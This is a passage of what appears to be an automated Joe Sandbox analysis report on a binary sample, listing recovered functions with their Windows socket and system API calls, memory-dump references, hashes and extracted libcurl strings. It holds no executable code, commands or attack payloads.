                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: gethostname
                                                          • String ID:
                                                          • API String ID: 144339138-0
                                                          • Opcode ID: 967db3e0556d10eda3f571693d4a2e5a9e083a70f084c9ccd0f513b4ae9e1df7
                                                          • Instruction ID: a4001c52afddfbc5971fbea04522563e069cc4dd8cf896e034a9612710d4c31f
                                                          • Opcode Fuzzy Hash: 967db3e0556d10eda3f571693d4a2e5a9e083a70f084c9ccd0f513b4ae9e1df7
                                                          • Instruction Fuzzy Hash: B0518C706047019BEB309B29DD497A77EE4BF41319F14193CEA8A8A6D2E7B5F844DF02
                                                          Function 005CAF70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • getsockname.WS2_32(?,?,00000080), ref: 005CAFD1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: getsockname
                                                          • String ID:
                                                          • API String ID: 3358416759-0
                                                          • Opcode ID: 27b47f09aab43579e21e485f48a423299948cc6cc3f51f158659617bcee4b85f
                                                          • Instruction ID: 4b847efd0102113859308c86d425f8700c6b064773a9c19001110bff41b4b7bc
                                                          • Opcode Fuzzy Hash: 27b47f09aab43579e21e485f48a423299948cc6cc3f51f158659617bcee4b85f
                                                          • Instruction Fuzzy Hash: F911967080878599EB268F58D402BF6B7F8FFD1329F109A1CE59942150F7725AC58BD2
                                                          Function 005CA920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • send.WS2_32(?,?,?,00000000,00000000,?), ref: 005CA97E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: send
                                                          • String ID:
                                                          • API String ID: 2809346765-0
                                                          • Opcode ID: 0ca248637dcac914abfc11e504423851d62cf0ccdc009a2f3c5ce6ea5e3ce000
                                                          • Instruction ID: 9f68c2d475b6780d0fe4d15cb76bc74694528990d99e9bbc079ed03f3d1ed5e0
                                                          • Opcode Fuzzy Hash: 0ca248637dcac914abfc11e504423851d62cf0ccdc009a2f3c5ce6ea5e3ce000
                                                          • Instruction Fuzzy Hash: 3301A272B11714AFC6148F64DC46F5ABBA5FFC4720F06865DEA982B361C331AC108BD1
                                                          Function 005CAF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • socket.WS2_32(?,005CB280,00000000,-00000001,00000000,005CB280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 005CAF66
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: socket
                                                          • String ID:
                                                          • API String ID: 98920635-0
                                                          • Opcode ID: 97d90c58af6f835fecdf96d06de7dd3a6d7569df867a476e97c6ab6245258c1c
                                                          • Instruction ID: 759330d11312a0d23f73e0fe17f447fd2cc5cb6c8136d9354bab2dbe647517d4
                                                          • Opcode Fuzzy Hash: 97d90c58af6f835fecdf96d06de7dd3a6d7569df867a476e97c6ab6245258c1c
                                                          • Instruction Fuzzy Hash: 48E0EDB6A053216FD6649A58E844EABF7A9EFC4B20F054A4DBC5463208C370AC548BE2
                                                          Function 005CB020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • closesocket.WS2_32(?,005C9422,?,?,?,?,?,?,?,?,?,?,?,w3[,00998640,00000000), ref: 005CB04D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: closesocket
                                                          • String ID:
                                                          • API String ID: 2781271927-0
                                                          • Opcode ID: 3d780af73ecfbe33ed86568a0371eefcf728fc14e753c3bf5bfbf05c73b05dba
                                                          • Instruction ID: 7990137392004c6a22d9557616b2fcf1fcd76c8542de1f883ba8c6f3dd1f7d9c
                                                          • Opcode Fuzzy Hash: 3d780af73ecfbe33ed86568a0371eefcf728fc14e753c3bf5bfbf05c73b05dba
                                                          • Instruction Fuzzy Hash: D9D0C2343002019BDA208A94C8C9F577A2BBFD1710FA9CB6CE02C4A164C73BCC47CA02
                                                          Function 005667E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ioctlsocket.WS2_32(?,8004667E,?,?,0053AF56,?,00000001), ref: 005667FB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: ioctlsocket
                                                          • String ID:
                                                          • API String ID: 3577187118-0
                                                          • Opcode ID: 6fcc4f3d816f29e46abaebe15153bee5d52e22108cf1e6cb4357776c6defe78b
                                                          • Instruction ID: 5e253e6f4d17d3cce8d5f90fa08ae5605b364ea2c1047a18a1663653463cc68a
                                                          • Opcode Fuzzy Hash: 6fcc4f3d816f29e46abaebe15153bee5d52e22108cf1e6cb4357776c6defe78b
                                                          • Instruction Fuzzy Hash: 3FC012F1119200AFC60C4724D955A2EB6D8DB44255F12591CB04692190EA349450CA1A
                                                          Function 005031D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: CloseHandle
                                                          • String ID:
                                                          • API String ID: 2962429428-0
                                                          • Opcode ID: b02239561372a1ae7006d87f80ff091ab70fdc2b76e8e894f2610e98273c4047
                                                          • Instruction ID: fc5591ca1b877d0483376ade343cffdce833aed43fb21b27db825a24d67694a9
                                                          • Opcode Fuzzy Hash: b02239561372a1ae7006d87f80ff091ab70fdc2b76e8e894f2610e98273c4047
                                                          • Instruction Fuzzy Hash: 7331A0B49097059BCB00FFB8C9856AEBBF4BF45304F41886DE898A7341E7349A44CF92
                                                          Function 0088B160 Relevance: 1.3, APIs: 1, Instructions: 9sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: Sleep
                                                          • String ID:
                                                          • API String ID: 3472027048-0
                                                          • Opcode ID: 528e35552d517ba4708b8130c043041678a26de0f6a08d1e1647f46861ed9e0a
                                                          • Instruction ID: a645c9cb45337581dcd0d703da1741d514f8f2d6eee43080cdea4daa80205995
                                                          • Opcode Fuzzy Hash: 528e35552d517ba4708b8130c043041678a26de0f6a08d1e1647f46861ed9e0a
                                                          • Instruction Fuzzy Hash: 8DC04CE0C1474547E704BA38854621D79E47741108FC11AA8998896195F668D3188697

                                                          Non-executed Functions

                                                          Function 00514940 Relevance: 17.0, Strings: 13, Instructions: 731COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$%2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd$** Resuming transfer from byte position %lld$--:-$--:-$--:-$-:--$-:--$-:--$Callback aborted
                                                          • API String ID: 0-122532811
                                                          • Opcode ID: 474ce9267f2748b934a4e0a2d0ec74eb74e4f95628ac2d2cd036a9ea898b3ef4
                                                          • Instruction ID: 8c605e6c68e33b1c840e0d381090e4424f37736c7b0374c9705574e175aec15e
                                                          • Opcode Fuzzy Hash: 474ce9267f2748b934a4e0a2d0ec74eb74e4f95628ac2d2cd036a9ea898b3ef4
                                                          • Instruction Fuzzy Hash: 3F42F971B08701AFE708DE28CC45BABBAE6FFC4704F044A2CF55997291E775AD448B92
                                                          Function 00524F70 Relevance: 12.2, Strings: 9, Instructions: 911COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %.*s%%25%s]$%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$%s://$:;@?+$file$file://%s%s%s$https$urlapi.c$xn--
                                                          • API String ID: 0-1914377741
                                                          • Opcode ID: 189b9df4a8a39b99e65eca83ba9fb240f42b246960555909781cb33c7cb618a8
                                                          • Instruction ID: a3eab72d8d75a88b9d04982ff1a4a4c65b5820430762beb96775467522b83617
                                                          • Opcode Fuzzy Hash: 189b9df4a8a39b99e65eca83ba9fb240f42b246960555909781cb33c7cb618a8
                                                          • Instruction Fuzzy Hash: F6724C31608B515BE7218A28E4467A6BFD1BF92344F088A2CEDC55B2D3F776DD84C782
                                                          Function 005B9880 Relevance: 10.2, Strings: 8, Instructions: 226COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: attempts$ndot$retr$retr$rota$time$use-$usev
                                                          • API String ID: 0-2058201250
                                                          • Opcode ID: 063cdfec93f3ded71bd3a254595e2b7c172f01499c7bd1ecd21966520ddd916b
